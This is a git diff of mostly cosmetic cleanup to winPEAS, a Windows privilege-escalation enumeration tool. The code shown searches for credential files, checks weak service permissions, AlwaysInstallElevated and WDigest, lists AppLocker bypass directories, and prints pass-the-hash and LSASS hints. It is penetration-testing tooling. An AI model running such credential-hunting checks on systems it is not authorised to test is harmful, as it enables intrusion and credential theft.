Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
var fileInfos = SearchHelper.SearchUserCredsFiles(); var fileInfos = SearchHelper.SearchUserCredsFiles();
foreach (var fileInfo in fileInfos) foreach (var fileInfo in fileInfos)
@@ -463,7 +463,7 @@ namespace winPEAS.Checks
{ {
//string pattern_bin = _patternsFileCreds + ";*password*;*credential*"; //string pattern_bin = _patternsFileCreds + ";*password*;*credential*";
string pattern_bin = string.Join(";", patternsFileCreds) + ";*password*;*credential*"; string pattern_bin = string.Join(";", patternsFileCreds) + ";*password*;*credential*";
Dictionary<string, string> colorF = new Dictionary<string, string>() Dictionary<string, string> colorF = new Dictionary<string, string>()
{ {
{ _patternsFileCredsColor + "|.*password.*|.*credential.*", Beaprint.ansi_color_bad }, { _patternsFileCredsColor + "|.*password.*|.*credential.*", Beaprint.ansi_color_bad },
@@ -472,7 +472,7 @@ namespace winPEAS.Checks
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files"); Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin(); List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
foreach (Dictionary<string, string> rec_file in recy_files) foreach (Dictionary<string, string> rec_file in recy_files)
{ {
foreach (string pattern in pattern_bin.Split(';')) foreach (string pattern in pattern_bin.Split(';'))
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success) if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
{ {
Beaprint.DictPrint(rec_file, colorF, true); Beaprint.DictPrint(rec_file, colorF, true);
System.Console.WriteLine(); Console.WriteLine();
} }
} }
} }
@@ -507,7 +507,7 @@ namespace winPEAS.Checks
Beaprint.MainPrint("Searching known files that can contain creds in home"); Beaprint.MainPrint("Searching known files that can contain creds in home");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
var files = SearchHelper.SearchUsersInterestingFiles(); var files = SearchHelper.SearchUsersInterestingFiles();
Beaprint.AnsiPrint(" " + string.Join("\n ", files), colorF); Beaprint.AnsiPrint(" " + string.Join("\n ", files), colorF);
@@ -567,7 +567,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Searching interesting files in other users home directories (can be slow)\n"); Beaprint.MainPrint("Searching interesting files in other users home directories (can be slow)\n");
// check if admin already, if yes, print a message, if not, try to enumerate all files // check if admin already, if yes, print a message, if not, try to enumerate all files
if (MyUtils.IsHighIntegrity()) if (MyUtils.IsHighIntegrity())
{ {
@@ -751,7 +751,7 @@ namespace winPEAS.Checks
".cmd" ".cmd"
}; };
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs); var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);
foreach (var file in files) foreach (var file in files)
{ {
@@ -825,14 +825,14 @@ namespace winPEAS.Checks
foreach (var certificateInfo in certificateInfos) foreach (var certificateInfo in certificateInfos)
{ {
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" + Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
$" Subject : {certificateInfo.Subject}\n" + $" Subject : {certificateInfo.Subject}\n" +
$" ValidDate : {certificateInfo.ValidDate}\n" + $" ValidDate : {certificateInfo.ValidDate}\n" +
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" + $" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" + $" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
$" StoreLocation : {certificateInfo.StoreLocation}\n" + $" StoreLocation : {certificateInfo.StoreLocation}\n" +
$" KeyExportable : {certificateInfo.KeyExportable}\n" + $" KeyExportable : {certificateInfo.KeyExportable}\n" +
$" Thumbprint : {certificateInfo.Thumbprint}\n"); $" Thumbprint : {certificateInfo.Thumbprint}\n");
if (!string.IsNullOrEmpty(certificateInfo.Template)) if (!string.IsNullOrEmpty(certificateInfo.Template))
@@ -885,7 +885,7 @@ namespace winPEAS.Checks
} }
catch (Exception e) catch (Exception e)
{ {
} }
} }
} }
catch (Exception ex) catch (Exception ex)
@@ -1033,7 +1033,7 @@ namespace winPEAS.Checks
//@"c:\windows.old", //@"c:\windows.old",
rootUsersSearchPath, rootUsersSearchPath,
documentsAndSettings documentsAndSettings
}; };
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs); var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);

View File

@@ -26,8 +26,8 @@ namespace winPEAS.Checks
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
{ {
Beaprint.GreatPrint("Network Information"); Beaprint.GreatPrint("Network Information");
new List<Action> new List<Action>
{ {
PrintNetShares, PrintNetShares,
@@ -81,7 +81,7 @@ namespace winPEAS.Checks
{ {
if (line.Length > 0 && line[0] != '#') if (line.Length > 0 && line[0] != '#')
{ {
System.Console.WriteLine(" " + line.Replace("\t", " ")); Console.WriteLine(" " + line.Replace("\t", " "));
} }
} }
} }
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
Beaprint.GrayPrint(" DENY rules:"); Beaprint.GrayPrint(" DENY rules:");
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules()) foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
{ {
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs)); string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs)); string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}"; string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
if (filePerms.Length > 0) if (filePerms.Length > 0)
formString += "\n File Permissions: {8}"; formString += "\n File Permissions: {8}";
@@ -389,8 +389,8 @@ namespace winPEAS.Checks
var info = InternetSettings.GetInternetSettingsInfo(); var info = InternetSettings.GetInternetSettingsInfo();
Beaprint.ColorPrint(" General Settings", Beaprint.LBLUE); Beaprint.ColorPrint(" General Settings", Beaprint.LBLUE);
Beaprint.NoColorPrint($" {"Hive",-10} {"Key",-40} {"Value"}"); Beaprint.NoColorPrint($" {"Hive",-10} {"Key",-40} {"Value"}");
foreach (var i in info.GeneralSettings) foreach (var i in info.GeneralSettings)
{ {
Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Value}"); Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Value}");
@@ -410,9 +410,9 @@ namespace winPEAS.Checks
{ {
Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Interpretation}"); Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Interpretation}");
} }
} }
Beaprint.ColorPrint("\n Zone Auth Settings", Beaprint.LBLUE); Beaprint.ColorPrint("\n Zone Auth Settings", Beaprint.LBLUE);
if (info.ZoneAuthSettings.Count == 0) if (info.ZoneAuthSettings.Count == 0)
{ {
Beaprint.NoColorPrint(" No Zone Auth Settings"); Beaprint.NoColorPrint(" No Zone Auth Settings");
@@ -423,7 +423,7 @@ namespace winPEAS.Checks
{ {
Beaprint.NoColorPrint($" {i.Interpretation}"); Beaprint.NoColorPrint($" {i.Interpretation}");
} }
} }
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -10,7 +10,7 @@ namespace winPEAS.Checks
{ {
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
{ {
Beaprint.GreatPrint("Processes Information"); Beaprint.GreatPrint("Processes Information");
new List<Action> new List<Action>
{ {
@@ -101,7 +101,7 @@ namespace winPEAS.Checks
Beaprint.DictPrint(vulnHandlers, colors, true); Beaprint.DictPrint(vulnHandlers, colors, true);
} }
} }
} }
} }

View File

@@ -20,7 +20,7 @@ namespace winPEAS.Checks
{ {
CheckRunner.Run(() => CheckRunner.Run(() =>
{ {
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs); modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
}, isDebug); }, isDebug);
} }
catch (Exception ex) catch (Exception ex)
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
foreach (Dictionary<string, string> serviceInfo in services_info) foreach (Dictionary<string, string> serviceInfo in services_info)
{ {
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
List<string> dirRights = new List<string>(); List<string> dirRights = new List<string>();
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "") if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
{ {
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs); dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
} }
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]); bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Looking if you can modify any service registry"); Beaprint.MainPrint("Looking if you can modify any service registry");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs); List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
Dictionary<string, string> colorsWR = new Dictionary<string, string>() Dictionary<string, string> colorsWR = new Dictionary<string, string>()
{ {

View File

@@ -5,21 +5,21 @@ using System.Linq;
using System.Reflection; using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using winPEAS._3rdParty.Watson;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.AppLocker; using winPEAS.Helpers.AppLocker;
using winPEAS._3rdParty.Watson;
using winPEAS.Info.SystemInfo.Printers;
using winPEAS.Info.SystemInfo.NamedPipes;
using winPEAS.Info.SystemInfo;
using winPEAS.Info.SystemInfo.SysMon;
using winPEAS.Helpers.Extensions; using winPEAS.Helpers.Extensions;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.SystemInfo;
using winPEAS.Info.SystemInfo.AuditPolicies; using winPEAS.Info.SystemInfo.AuditPolicies;
using winPEAS.Info.SystemInfo.DotNet; using winPEAS.Info.SystemInfo.DotNet;
using winPEAS.Info.SystemInfo.GroupPolicy; using winPEAS.Info.SystemInfo.GroupPolicy;
using winPEAS.Info.SystemInfo.WindowsDefender; using winPEAS.Info.SystemInfo.NamedPipes;
using winPEAS.Info.SystemInfo.PowerShell;
using winPEAS.Info.SystemInfo.Ntlm; using winPEAS.Info.SystemInfo.Ntlm;
using winPEAS.Info.SystemInfo.PowerShell;
using winPEAS.Info.SystemInfo.Printers;
using winPEAS.Info.SystemInfo.SysMon;
using winPEAS.Info.SystemInfo.WindowsDefender;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
namespace winPEAS.Checks namespace winPEAS.Checks
@@ -47,13 +47,13 @@ namespace winPEAS.Checks
{ "3b576869-a4ec-4529-8536-b80a7769e899" , "Block Office applications from creating executable content "}, { "3b576869-a4ec-4529-8536-b80a7769e899" , "Block Office applications from creating executable content "},
{ "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" , "Block Office applications from injecting code into other processes"}, { "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" , "Block Office applications from injecting code into other processes"},
{ "d3e037e1-3eb8-44c8-a917-57927947596d" , "Block JavaScript or VBScript from launching downloaded executable content"}, { "d3e037e1-3eb8-44c8-a917-57927947596d" , "Block JavaScript or VBScript from launching downloaded executable content"},
{ "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"}, { "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"},
}; };
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
{ {
Beaprint.GreatPrint("System Information"); Beaprint.GreatPrint("System Information");
new List<Action> new List<Action>
{ {
PrintBasicSystemInfo, PrintBasicSystemInfo,
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
{ Globals.StrTrue, Beaprint.ansi_color_bad }, { Globals.StrTrue, Beaprint.ansi_color_bad },
}; };
Beaprint.DictPrint(basicDictSystem, colorsSI, false); Beaprint.DictPrint(basicDictSystem, colorsSI, false);
System.Console.WriteLine(); Console.WriteLine();
Watson.FindVulns(); Watson.FindVulns();
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function) //To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
@@ -200,7 +200,7 @@ namespace winPEAS.Checks
Beaprint.MainPrint("PS default transcripts history"); Beaprint.MainPrint("PS default transcripts history");
Beaprint.InfoPrint("Read the PS history inside these files (if any)"); Beaprint.InfoPrint("Read the PS history inside these files (if any)");
string drive = Path.GetPathRoot(Environment.SystemDirectory); string drive = Path.GetPathRoot(Environment.SystemDirectory);
string transcriptsPath = drive + @"transcripts\"; string transcriptsPath = drive + @"transcripts\";
string usersPath = $"{drive}users"; string usersPath = $"{drive}users";
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly); var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
@@ -210,7 +210,7 @@ namespace winPEAS.Checks
{ {
{ "^.*", Beaprint.ansi_color_bad }, { "^.*", Beaprint.ansi_color_bad },
}; };
var results = new List<string>(); var results = new List<string>();
var dict = new Dictionary<string, string>() var dict = new Dictionary<string, string>()
@@ -218,7 +218,7 @@ namespace winPEAS.Checks
// check \\transcripts\ folder // check \\transcripts\ folder
{transcriptsPath, "*"}, {transcriptsPath, "*"},
}; };
foreach (var user in users) foreach (var user in users)
{ {
// check the users directories // check the users directories
@@ -290,12 +290,12 @@ namespace winPEAS.Checks
Beaprint.NoColorPrint($" Domain : {policy.Domain}\n" + Beaprint.NoColorPrint($" Domain : {policy.Domain}\n" +
$" GPO : {policy.GPO}\n" + $" GPO : {policy.GPO}\n" +
$" Type : {policy.Type}\n"); $" Type : {policy.Type}\n");
foreach (var entry in policy.Settings) foreach (var entry in policy.Settings)
{ {
Beaprint.NoColorPrint($" {entry.Subcategory,50} : {entry.AuditType}"); Beaprint.NoColorPrint($" {entry.Subcategory,50} : {entry.AuditType}");
} }
Beaprint.PrintLineSeparator(); Beaprint.PrintLineSeparator();
} }
} }
@@ -366,15 +366,15 @@ namespace winPEAS.Checks
Beaprint.MainPrint("Credentials Guard"); Beaprint.MainPrint("Credentials Guard");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags"); string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
if (lsaCfgFlags == "1") if (lsaCfgFlags == "1")
{ {
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator)."); Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock"); Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
} }
else if (lsaCfgFlags == "2") else if (lsaCfgFlags == "2")
{ {
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator)."); Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock"); Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
} }
else else
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
else if (using_HKLM_WSUS == "0") else if (using_HKLM_WSUS == "0")
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!"); Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
else else
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not"); Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
} }
else else
{ {
@@ -643,9 +643,9 @@ namespace winPEAS.Checks
string path = "Software\\Policies\\Microsoft\\Windows\\Installer"; string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated"); string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated"); string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
if (HKLM_AIE == "1") if (HKLM_AIE == "1")
{ {
Beaprint.BadPrint(" AlwaysInstallElevated set to 1 in HKLM!"); Beaprint.BadPrint(" AlwaysInstallElevated set to 1 in HKLM!");
} }
@@ -672,7 +672,7 @@ namespace winPEAS.Checks
try try
{ {
var info = Ntlm.GetNtlmSettingsInfo(); var info = Ntlm.GetNtlmSettingsInfo();
string lmCompatibilityLevelColor = info.LanmanCompatibilityLevel >= 3 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad; string lmCompatibilityLevelColor = info.LanmanCompatibilityLevel >= 3 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;
Beaprint.ColorPrint($" LanmanCompatibilityLevel : {info.LanmanCompatibilityLevel} ({info.LanmanCompatibilityLevelString})\n", lmCompatibilityLevelColor); Beaprint.ColorPrint($" LanmanCompatibilityLevel : {info.LanmanCompatibilityLevel} ({info.LanmanCompatibilityLevelString})\n", lmCompatibilityLevelColor);
@@ -683,12 +683,12 @@ namespace winPEAS.Checks
{ "No signing", Beaprint.ansi_color_bad}, { "No signing", Beaprint.ansi_color_bad},
{ "null", Beaprint.ansi_color_bad}, { "null", Beaprint.ansi_color_bad},
{ "Require Signing", Beaprint.ansi_color_good}, { "Require Signing", Beaprint.ansi_color_good},
{ "Negotiate signing", Beaprint.ansi_color_yellow}, { "Negotiate signing", Beaprint.ansi_color_yellow},
{ "Unknown", Beaprint.ansi_color_bad}, { "Unknown", Beaprint.ansi_color_bad},
}; };
Beaprint.ColorPrint("\n NTLM Signing Settings", Beaprint.LBLUE); Beaprint.ColorPrint("\n NTLM Signing Settings", Beaprint.LBLUE);
Beaprint.AnsiPrint($" ClientRequireSigning : {info.ClientRequireSigning}\n" + Beaprint.AnsiPrint($" ClientRequireSigning : {info.ClientRequireSigning}\n" +
$" ClientNegotiateSigning : {info.ClientNegotiateSigning}\n" + $" ClientNegotiateSigning : {info.ClientNegotiateSigning}\n" +
$" ServerRequireSigning : {info.ServerRequireSigning}\n" + $" ServerRequireSigning : {info.ServerRequireSigning}\n" +
$" ServerNegotiateSigning : {info.ServerNegotiateSigning}\n" + $" ServerNegotiateSigning : {info.ServerNegotiateSigning}\n" +
@@ -727,13 +727,13 @@ namespace winPEAS.Checks
} }
} }
var ntlmOutboundRestrictionsColor = info.OutboundRestrictions == 2 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad; var ntlmOutboundRestrictionsColor = info.OutboundRestrictions == 2 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;
Beaprint.ColorPrint("\n NTLM Auditing and Restrictions", Beaprint.LBLUE); Beaprint.ColorPrint("\n NTLM Auditing and Restrictions", Beaprint.LBLUE);
Beaprint.NoColorPrint($" InboundRestrictions : {info.InboundRestrictions} ({info.InboundRestrictionsString})"); Beaprint.NoColorPrint($" InboundRestrictions : {info.InboundRestrictions} ({info.InboundRestrictionsString})");
Beaprint.ColorPrint($" OutboundRestrictions : {info.OutboundRestrictions} ({info.OutboundRestrictionsString})", ntlmOutboundRestrictionsColor); Beaprint.ColorPrint($" OutboundRestrictions : {info.OutboundRestrictions} ({info.OutboundRestrictionsString})", ntlmOutboundRestrictionsColor);
Beaprint.NoColorPrint($" InboundAuditing : {info.InboundAuditing} ({info.InboundRestrictionsString})"); Beaprint.NoColorPrint($" InboundAuditing : {info.InboundAuditing} ({info.InboundRestrictionsString})");
Beaprint.NoColorPrint($" OutboundExceptions : {info.OutboundExceptions}"); Beaprint.NoColorPrint($" OutboundExceptions : {info.OutboundExceptions}");
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -783,7 +783,7 @@ namespace winPEAS.Checks
Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors); Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors);
} }
} }
catch (Exception ex) catch (Exception ex)
{ {
//Beaprint.PrintException(ex.Message); //Beaprint.PrintException(ex.Message);
} }
@@ -816,8 +816,8 @@ namespace winPEAS.Checks
{ {
PrintSysmonConfiguration(); PrintSysmonConfiguration();
PrintSysmonEventLogs(); PrintSysmonEventLogs();
} }
private void PrintSysmonConfiguration() private void PrintSysmonConfiguration()
{ {
Beaprint.MainPrint("Enumerating Sysmon configuration"); Beaprint.MainPrint("Enumerating Sysmon configuration");
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
} }
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte")) else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
{ {
val = System.BitConverter.ToString((byte[])kvp.Value); val = BitConverter.ToString((byte[])kvp.Value);
} }
else else
{ {
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!"); Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
} }
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1") if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
{ {
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily."); Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
} }
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0") if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
{ {
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system."); Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
} }
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
{ {
try try
{ {
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" ); Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
var infos = GroupPolicy.GetLocalGroupPolicyInfos(); var infos = GroupPolicy.GetLocalGroupPolicyInfos();

View File

@@ -1,8 +1,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Extensions; using winPEAS.Helpers.Extensions;
@@ -39,7 +37,7 @@ namespace winPEAS.Checks
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
{ {
Beaprint.GreatPrint("Users Information"); Beaprint.GreatPrint("Users Information");
new List<Action> new List<Action>
{ {
PrintCU, PrintCU,
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("RDP Sessions"); Beaprint.MainPrint("RDP Sessions");
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions(); List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
if (rdp_sessions.Count > 0) if (rdp_sessions.Count > 0)
{ {
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}"; string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Password Policies"); Beaprint.MainPrint("Password Policies");
Beaprint.LinkPrint("", "Check for a possible brute-force"); Beaprint.LinkPrint("", "Check for a possible brute-force");
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy(); List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
Beaprint.DictPrint(PPy, ColorsU(), false); Beaprint.DictPrint(PPy, ColorsU(), false);
} }
catch (Exception ex) catch (Exception ex)
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
foreach (var logonSession in logonSessions) foreach (var logonSession in logonSessions)
{ {
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" + Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
$" Logon Server: {logonSession.LogonServer}\n" + $" Logon Server: {logonSession.LogonServer}\n" +
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" + $" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
$" Logon Id: {logonSession.LogonId}\n" + $" Logon Id: {logonSession.LogonId}\n" +
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
if (User32.GetLastInputInfo(ref lastInputInfo)) if (User32.GetLastInputInfo(ref lastInputInfo))
{ {
var currentUser = WindowsIdentity.GetCurrent().Name; var currentUser = WindowsIdentity.GetCurrent().Name;
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time; var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds); var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms"; var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime(); lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
} }
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" + Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
$" User Name : {localUser.name}\n" + $" User Name : {localUser.name}\n" +
$" User Id : {localUser.user_id}\n" + $" User Id : {localUser.user_id}\n" +
$" Is Enabled : {enabled}\n" + $" Is Enabled : {enabled}\n" +

View File

@@ -7,9 +7,9 @@ using System.Runtime.InteropServices;
namespace winPEAS.Helpers.AppLocker namespace winPEAS.Helpers.AppLocker
{ {
internal static class AppLockerHelper internal static class AppLockerHelper
{ {
private static readonly HashSet<string> _appLockerByPassDirectoriesSet = new HashSet<string> private static readonly HashSet<string> _appLockerByPassDirectoriesSet = new HashSet<string>
{ {
@"C:\Windows\Temp", @"C:\Windows\Temp",
@"C:\Windows\System32\spool\drivers\color", @"C:\Windows\System32\spool\drivers\color",
@"C:\Windows\Tasks", @"C:\Windows\Tasks",
@@ -88,7 +88,7 @@ namespace winPEAS.Helpers.AppLocker
PrintFilePathRules(rule); PrintFilePathRules(rule);
PrintFilePublisherRules(rule); PrintFilePublisherRules(rule);
} }
} }
} }
catch (COMException) catch (COMException)
{ {
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
var color = GetColorBySid(filePublisherRule.UserOrGroupSid); var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
